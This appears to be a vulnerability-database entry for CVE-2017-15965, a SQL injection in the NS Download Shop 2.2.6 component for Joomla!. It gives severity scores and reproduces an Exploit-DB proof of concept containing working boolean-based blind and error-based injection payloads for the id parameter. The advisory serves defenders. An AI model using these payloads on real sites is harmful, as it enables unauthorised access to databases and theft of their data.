CVE-2017-15965

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Published 2017-10-29 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

The NS Download Shop (aka com_ns_downloadshop) component 2.2.6 for Joomla! allows SQL Injection via the id parameter in an invoice.create action.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43094 webapps php text · 1 KB

Ihsan Sencan · 2017-10-30

Joomla! Component NS Download Shop 2.2.6 - 'id' SQL Injection

text exploit Source: Exploit-DB

# # # # # 
# Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: https://nswd.co/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/
# Demo: https://ds.nswd.co/
# Version: 2.2.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15965
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL]
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL >= 5.0 boolean-based blind - Parameter replace
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 	
# Etc..
# # # # #

Application impact

Vendor	Product	Versions	Fixed
nswd	ns_download_shop	`2.2.6`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.